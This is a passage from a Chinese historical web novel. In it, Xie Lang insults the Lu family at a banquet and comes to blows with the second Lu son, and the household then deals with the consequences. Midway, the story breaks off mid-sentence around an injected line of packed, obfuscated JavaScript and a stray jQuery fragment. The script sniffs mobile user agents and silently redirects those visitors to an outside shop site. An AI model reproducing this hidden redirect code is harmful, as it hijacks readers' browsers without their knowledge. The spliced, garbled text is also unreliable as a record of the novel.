“谢公子,你认识舍妹?”陆二公子问。
“刚见过,”谢琅道,“不过前些日子,我一个远房姑母替我上府里向陆二小姐提亲,被拒了!”
陆二小姐这才知道,面前这个相貌比女人还端丽,却一副阴阳怪气模样的男子是谁,今日一见,她更加庆幸自己没有同意谢府求亲,传言非虚,此子果然是不知礼数的浪荡子弟。
陆二公子面上有些尴尬,拱手道:“我们兄妹的婚事,都是家里长辈作主,可能长辈们另有思量,我观谢公子相貌英俊,人品非凡,定能另择才情品貌俱佳的名门淑女为妻。”
谢琅笑道:“我也是这般想的!本来听姑母说起,陆家二小姐清丽脱俗,人品出众,故而同意遣媒人上门求娶,没想到陆尚书和陆小姐均没有看上我,还甚是遗憾了一番,如果亲事能成,现下我不就成了尚书大人的高婿嘛!不过见到陆二小姐后,我又觉得,亲事没成也不是坏事……”
“你……”陆二小姐气得面红耳赤,此人太可恨了!这说得甚么意思,是没看上自己,才庆幸亲事没成吗?而且他这番话,还是当着四皇子的面说的,着实让她颜面扫地,真是恨不马上叫人把他打出去,再不许他上门!
落葵没想到,这个谢公子嘴巴这么损,还甚是无所顾忌,一点脸面也不讲,直接给人难看,难道是被退婚刺激的,特地来找回场子?
陆二公子本来还有些歉疚,听了他的话后,着实被气到,“谢公子,我敬你今日上门是客,如果你再胡言乱语,别怪我不客气了!”
陆二小姐希望哥哥能出面痛揍此人一顿,陆二公子放完话后,只面红耳赤瞪着对方,却没有动手的意思。
四皇子倒是有些尴尬,他也觉得这谢琅说话太难听,先谢皇后的侄子,却是这般没有教养。他摸摸鼻子,觉得这一个时辰内,又是落水,又是吵架,倒也甚是热闹。
不过既然在场,他也要跟着劝说一句:“谢公子,你这样难为一位小姐,可不是君子所为!”
谢琅却丝毫不在意别人对他的看法,“我从没说过自己是君子,再者说,我这人一向心直快口快,只喜欢说老实话而已。不过,既然四皇子提醒,我也要检讨自己,确实,退亲不是陆二小姐一个人的意思,虽然她面薄无福,矫揉造作,我并不喜欢,但是陆尚书为什么不允,我也要去问个明白,是见我们平国公府被夺了爵位,家族男丁全部折戟沙场无一人能为我作主,还是我本人有什么令他不喜欢,总要弄清楚才好!”
说完,转身就要走。
陆二小姐气得脑子一时缺了氧,跌倒在丫鬟苹儿怀里,陆二公子再也忍不住,提拳就要打去,“你这狂徒,一再辱及舍妹,还诋毁家父,我今日定要教你好看!”
四皇子阻拦不及,陆二公子已经挥拳过去,与谢琅打在了一起。
落葵没想到剧情变化这么快,深恐殃及池鱼,拉着安哥儿就往后躲,怎奈小主人挂念亲叔叔,着急的要上前帮忙,却被落葵和乳母紧紧拦住。
“放开我,我要去帮二叔叔!”安哥儿喊道。
这边打架的两个人已经滚作一起,你一拳,我一掌的朝对方身上招呼,落葵看得直撇嘴,两只弱鸡,如果是从前遇到这般情况,她早就拿出手机拍摄,并发到闺蜜群,让她们一同见识一下,什么叫白斩鸡互啄。
四皇子也没想到会发生这般荒唐事情,连忙叫侍卫上前把他们拉开。
被分开后,两个人脸上都带着青紫,犹自呼哧着粗气,怒视着对方。
“曾经叱咤沙场,家中男丁个个骁勇善战的原平国公府谢氏,竟有你这么一个无能的子弟,可笑,可悲!”陆二少爷虽然脸上也挂了彩,却还是忍不住要损对方一句。
谢琅擦了一把嘴角流出的血水,笑了起来:“确是比不上永昌侯府,原也是军功起家,却是被打断了脊梁骨,早早交出军权兵马,缩回京里吃起老本,还让家中子弟娶了商贾家的庶女为继室,早成京城一大笑谈!果不愧是最会见风使舵、趋炎附势的人家!我是无能,你却是草包,哈哈哈哈……”
他话说完,四皇子和陆氏兄妹脸色都变了,四皇子也露出了不喜之色,他最不喜欢听人谈论母妃娘家出身商贾之事,陆氏兄妹也是如此,何况谢琅言语直指自己母亲出身低微。
“谢公子,你今日来陆府闹事,言语之间,不及对陆侯及陆尚书夫妇不敬,也辱及寿宁伯府,如果你再肆意妄言,别怪本宫降罪!”
谢琅一副战战兢兢模样,鞠躬道:“四殿下,你与陆府有亲,却不能偏帮他们说话,不然臣就要去陛下面前哭诉,是否欺谢家无人,人人都可以来踩臣一脚!”
四皇子被气得说不出话来。
落葵觉得,这人简直是不知死活,虽是权贵子弟,却也太嚣张无赖了吧,真把四皇子惹恼,让人把他打杀了,难道皇帝还会为了他,去揍自己亲儿子?
四皇子率先离去,陆二小姐的丫鬟扶着她跟上,陆二公子挥开上前查看他伤势的小厮,瞪了谢琅一眼,也快步离开了。
只谢琅依旧一脸浑不在意的模样,还有空看了落葵和安哥儿一眼,才笑着离开。
后来落葵听说,这谢琅又去正厅闹了一场,当着文武官员的面,真的去质问陆尚书了,陆尚书大喜之日差点被气得中风,大皇子命人将他打了一顿,抬回谢府了。
真是个疯子!落葵心想,以后见到一定要躲得远远的,这人连皇子尚书都敢得罪,何况自己一个卑贱的小丫鬟。
梁氏这些时日也不好过,本以为时来运转,府里气运蒸蒸日上,事事顺利,岂料一个宴会就出了这么多事,谢琅来府里胡闹,丈夫差点气厥,儿子受了伤,陆府也成为笑谈,且梁大小姐又在府里落了水!
她后悔不已,明知府里与水犯冲,不应只填高那个湖,就该直接把府里的湖全给填平了!
现在梁大小姐在府里出了事,她还要去上门赔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137439|149093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罪,以期得知伯府的谅解。故特地备了厚礼亲去伯府慰问致歉,见到了伯夫人后,伯夫人对着她冷嘲热讽一番,说她现在已是尚书夫人,寿宁伯府可是怠慢不起,又说她们母女还把主意打到皇子身上,想必是要和寿宁伯府争上一争了。
梁氏忙说自己绝无此念,怕是中间有什么误会。
伯夫人不理她解释,还说女儿在她家落水,是有人暗算,梁氏带点东西上门就想当此事从未发生,绝无可能,必须要给寿宁伯府一个交代!
梁氏受了一肚子气回府,先去找了陆二小姐,问她是否在梁秀面前露了心迹,被她发现了?
陆二小姐哭唧唧一番,说是梁秀自小就仗着是伯府小姐,又得贵妃姨母宠爱,惯会欺负自己,现在她不比梁秀差什么,凭什么还要受她的气?
梁氏把女儿骂了一顿,陆二小姐反问她为什么怕寿宁伯府,母亲现在也不是他们家的庶女了,梁氏听了这话,更是生气,觉得女儿也看不起自己是庶出出身。
不过她最终也拿女儿没办法,她从心底是不想得罪寿宁伯府的,毕竟还有贵妃娘娘这一层关系在,以后,贵妃还有可能变成太后,寿宁伯府还要再加封,不是一个尚书可以抗衡。
梁氏为了给伯夫人一个交代,下令把那天看管狮子狗不利的小桃杖打发卖了。
豆蔻回来同她们说起,陆二小姐抱着雪球哭得死去活来,不让太太把狗勒死,却是没有为小桃求过一句情。
梁氏想为女儿早日择一门佳婿嫁出去,让她彻底断了念想,却不想,那日谢琅闹的这一出,竟然传扬的全京城都知道,大家虽知他无理取闹,行事狂悖,却还是对陆二小姐的婚事产生了影响,本来隔几日就有官媒上门说亲,现在连原先提亲的人家,都没再提此事了。
梁氏气倒了,躺在床上哼哼唧唧一段时日。
崔氏为此还要过去侍疾,她累得瘦了几斤,几个贴身丫鬟也不好过,落葵便一直在安哥儿身边侍候了,跟着乳母二人,整天追着安哥儿跑,偶尔在花园碰到小狮子犬,安哥儿要过去同他玩,也被落葵和乳母一同拉走了,自从小桃杖打后还未被发卖,便死在了柴房,狮子犬也成了大家的禁忌,轻易不敢接近。
转眼到了五月,落葵一直有留意府外消息,但从外出采买的厨娘和消息灵通的小厮那边,都没有听到有关于燕门关老家坳村民被屠杀的事流传出来,她不知道穆容现在何处,还在为申冤之事想办法吗,是否还平安活着?
倒是崔氏接到了江州娘家的消息,堂弟崔慎经推荐将要往国子监读书,过几日便到京城,让她代为安排衣食住所等一切事宜。
崔氏接到信后,来不及欢喜亲人相见,便着急叫上白芷等人,先挑选培训一些丫鬟小厮,以便堂弟进京后,安排去他身旁服侍。
崔家在京城自有宅邸,却是只有老仆看管,经年没有主人入住,还要着人去检修布置一番,她觉得一下子事情多得忙不过来。